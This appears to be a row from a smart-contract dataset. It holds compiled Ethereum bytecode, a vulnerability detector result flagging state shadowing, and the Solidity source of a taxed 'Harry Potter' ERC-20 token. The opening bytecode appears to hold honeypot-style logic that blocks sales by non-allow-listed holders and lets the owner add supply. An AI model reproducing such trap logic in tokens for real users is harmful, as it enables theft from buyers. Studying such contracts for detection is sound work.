611cee565b61109f565b600191505092915050565b6000610d01611097565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610d6e575060011515600a60009054906101000a900460ff161515145b15610da957610d85610d7e611097565b848461126a565b6000600a60006101000a81548160ff02191690831515021790555060019050610f58565b610db1611097565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610e1e575060001515600a60009054906101000a900460ff161515145b15610f4157610e388260065461168c90919063ffffffff16565b600681905550610e9082600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168c90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f3091906118d2565b60405180910390a360019050610f58565b610f53610f4c611097565b848461126a565b600190505b92915050565b610f66611097565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ff3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fea90611ee8565b60405180910390fd5b670de0b6b3a7640000816110079190612012565b60078190555050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561110f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611106906120de565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561117f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117690612170565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161125d91906118d2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d190612202565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561134a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134190612294565b60405180910390fd5b600754811061135857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561140557600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661140457600080fd5b5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561148c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148390612326565b60405180910390fd5b81816114989190611cee565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461152a9190611d22565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161158e91906118d2565b60405180910390a350505050565b6115a4611097565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611631576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162890611ee8565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600080828461169b9190611d22565b9050838110156116e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d790612392565b60405180910390fd5b8091505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611724578082015181840152602081019050611709565b83811115611733576000848401525b50505050565b6000601f19601f8301169050919050565b6000611755826116ea565b61175f81856116f5565b935061176f818560208601611706565b61177881611739565b840191505092915050565b6000602082019050818103600083015261179d818461174a565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006117e4826117b9565b9050919050565b6117f4816117d9565b81146117ff57600080fd5b50565b600081359050611811816117eb565b92915050565b6000819050919050565b61182a81611817565b811461183557600080fd5b50565b60008135905061184781611821565b92915050565b60008060408385031215611864576118636117af565b5b600061187285828601611802565b925050602061188385828601611838565b9150509250929050565b60008115159050919050565b6118a28161188d565b82525050565b60006020820190506118bd6000830184611899565b92915050565b6118cc81611817565b82525050565b60006020820190506118e760008301846118c3565b92915050565b600080600060608486031215611906576119056117af565b5b600061191486828701611802565b935050602061192586828701611802565b925050604061193686828701611838565b9150509250925092565b600060ff82169050919050565b61195681611940565b82525050565b6000602082019050611971600083018461194d565b92915050565b60006020828403121561198d5761198c6117af565b5b600061199b84828501611802565b91505092915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6119e182611739565b810181811067ffffffffffffffff82111715611a00576119ff6119a9565b5b80604052505050565b6000611a136117a5565b9050611a1f82826119d8565b919050565b600067ffffffffffffffff821115611a3f57611a3e6119a9565b5b602082029050602081019050919050565b600080fd5b6000611a68611a6384611a24565b611a09565b90508083825260208201905060208402830185811115611a8b57611a8a611a50565b5b835b81811015611ab45780611aa08882611802565b845260208401935050602081019050611a8d565b5050509392505050565b600082601f830112611ad357611ad26119a4565b5b8135611ae3848260208601611a55565b91505092915050565b600060208284031215611b0257611b016117af565b5b600082013567ffffffffffffffff811115611b2057611b1f6117b4565b5b611b2c84828501611abe565b91505092915050565b611b3e816117d9565b82525050565b6000602082019050611b596000830184611b35565b92915050565b600060208284031215611b7557611b746117af565b5b6000611b8384828501611838565b91505092915050565b60008060408385031215611ba357611ba26117af565b5b6000611bb185828601611802565b9250506020611bc285828601611802565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611c1357607f821691505b60208210811415611c2757611c26611bcc565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611c896028836116f5565b9150611c9482611c2d565b604082019050919050565b60006020820190508181036000830152611cb881611c7c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611cf982611817565b9150611d0483611817565b925082821015611d1757611d16611cbf565b5b828203905092915050565b6000611d2d82611817565b9150611d3883611817565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611d6d57611d6c611cbf565b5b828201905092915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000611dd46021836116f5565b9150611ddf82611d78565b604082019050919050565b60006020820190508181036000830152611e0381611dc7565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000611e666022836116f5565b9150611e7182611e0a565b604082019050919050565b60006020820190508181036000830152611e9581611e59565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611ed26020836116f5565b9150611edd82611e9c565b602082019050919050565b60006020820190508181036000830152611f0181611ec5565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611f4282611817565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611f7557611f74611cbf565b5b600182019050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611fdc6025836116f5565b9150611fe782611f80565b604082019050919050565b6000602082019050818103600083015261200b81611fcf565b9050919050565b600061201d82611817565b915061202883611817565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561206157612060611cbf565b5b828202905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006120c86024836116f5565b91506120d38261206c565b604082019050919050565b600060208201905081810360008301526120f7816120bb565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061215a6022836116f5565b9150612165826120fe565b604082019050919050565b600060208201905081810360008301526121898161214d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006121ec6025836116f5565b91506121f782612190565b604082019050919050565b6000602082019050818103600083015261221b816121df565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061227e6023836116f5565b915061228982612222565b604082019050919050565b600060208201905081810360008301526122ad81612271565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006123106026836116f5565b915061231b826122b4565b604082019050919050565b6000602082019050818103600083015261233f81612303565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061237c601b836116f5565b915061238782612346565b602082019050919050565b600060208201905081810360008301526123ab8161236f565b905091905056fea2646970667358221220f8211ac96815f170e0e0217c8515761ddeba6f5b9d4f8e2ec3e7e6b675729d7164736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
| 6,539 |
0xE954b52e2328CFE2d694F77eb737B25cbA0B8A14
|
//SPDX-License-Identifier: MIT
// Telegram: t.me/HarryPotterTokenErc20
pragma solidity ^0.8.7;
uint256 constant INITIAL_TAX=9;
uint256 constant TOTAL_SUPPLY=100000000;
string constant TOKEN_SYMBOL="HP";
string constant TOKEN_NAME="Harry Potter";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract HarryPotter is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(33);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100f75760003560e01c806370a082311161008a5780639e752b95116100595780639e752b95146102ed578063a9059cbb14610316578063dd62ed3e14610353578063f429389014610390576100fe565b806370a0823114610243578063715018a6146102805780638da5cb5b1461029757806395d89b41146102c2576100fe565b8063293230b8116100c6578063293230b8146101d3578063313ce567146101ea5780633e07ce5b1461021557806351bc3c851461022c576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103a7565b6040516101259190612492565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190612032565b6103e4565b6040516101629190612477565b60405180910390f35b34801561017757600080fd5b50610180610402565b60405161018d9190612614565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190611fdf565b610426565b6040516101ca9190612477565b60405180910390f35b3480156101df57600080fd5b506101e86104ff565b005b3480156101f657600080fd5b506101ff6109f9565b60405161020c9190612689565b60405180910390f35b34801561022157600080fd5b5061022a610a02565b005b34801561023857600080fd5b50610241610a88565b005b34801561024f57600080fd5b5061026a60048036038101906102659190611f45565b610b02565b6040516102779190612614565b60405180910390f35b34801561028c57600080fd5b50610295610b53565b005b3480156102a357600080fd5b506102ac610ca6565b6040516102b991906123a9565b60405180910390f35b3480156102ce57600080fd5b506102d7610ccf565b6040516102e49190612492565b60405180910390f35b3480156102f957600080fd5b50610314600480360381019061030f919061209f565b610d0c565b005b34801561032257600080fd5b5061033d60048036038101906103389190612032565b610d84565b60405161034a9190612477565b60405180910390f35b34801561035f57600080fd5b5061037a60048036038101906103759190611f9f565b610da2565b6040516103879190612614565b60405180910390f35b34801561039c57600080fd5b506103a5610e29565b005b60606040518060400160405280600c81526020017f486172727920506f747465720000000000000000000000000000000000000000815250905090565b60006103f86103f1610ee5565b8484610eed565b6001905092915050565b60006006600a61041291906127d3565b6305f5e10061042191906128f1565b905090565b60006104338484846110b8565b6104f48461043f610ee5565b6104ef85604051806060016040528060288152602001612e0b60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104a5610ee5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114719092919063ffffffff16565b610eed565b600190509392505050565b610507610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461056057600080fd5b600c60149054906101000a900460ff16156105b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a790612514565b60405180910390fd5b6105f930600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166006600a6105e591906127d3565b6305f5e1006105f491906128f1565b610eed565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561066157600080fd5b505afa158015610675573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106999190611f72565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561071d57600080fd5b505afa158015610731573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107559190611f72565b6040518363ffffffff1660e01b81526004016107729291906123c4565b602060405180830381600087803b15801561078c57600080fd5b505af11580156107a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c49190611f72565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061084d30610b02565b600080610858610ca6565b426040518863ffffffff1660e01b815260040161087a96959493929190612416565b6060604051808303818588803b15801561089357600080fd5b505af11580156108a7573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108cc91906120cc565b5050506001600c60166101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff021916908315150217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016109a49291906123ed565b602060405180830381600087803b1580156109be57600080fd5b505af11580156109d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f69190612072565b50565b60006006905090565b610a0a610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a6357600080fd5b6006600a610a7191906127d3565b6305f5e100610a8091906128f1565b600a81905550565b610a90610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae957600080fd5b6000610af430610b02565b9050610aff816114d5565b50565b6000610b4c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175d565b9050919050565b610b5b610ee5565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdf90612594565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f4850000000000000000000000000000000000000000000000000000000000000815250905090565b610d14610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d6d57600080fd5b60098110610d7a57600080fd5b8060088190555050565b6000610d98610d91610ee5565b84846110b8565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e31610ee5565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8a57600080fd5b6000479050610e98816117cb565b50565b6000610edd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611837565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f54906125f4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc4906124f4565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ab9190612614565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611128576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111f906125d4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611198576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118f906124b4565b60405180910390fd5b600081116111db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d2906125b4565b60405180910390fd5b6111e3610ca6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112515750611221610ca6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561146157600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113015750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156113575750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113a157600a5481106113a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139790612554565b60405180910390fd5b5b60006113ac30610b02565b9050600c60159054906101000a900460ff161580156114195750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156114315750600c60169054906101000a900460ff165b1561145f5761143f816114d5565b6000479050670de0b6b3a7640000811061145d5761145c476117cb565b5b505b505b61146c83838361189a565b505050565b60008383111582906114b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b09190612492565b60405180910390fd5b50600083856114c8919061294b565b9050809150509392505050565b6001600c60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561150d5761150c612aa6565b5b60405190808252806020026020018201604052801561153b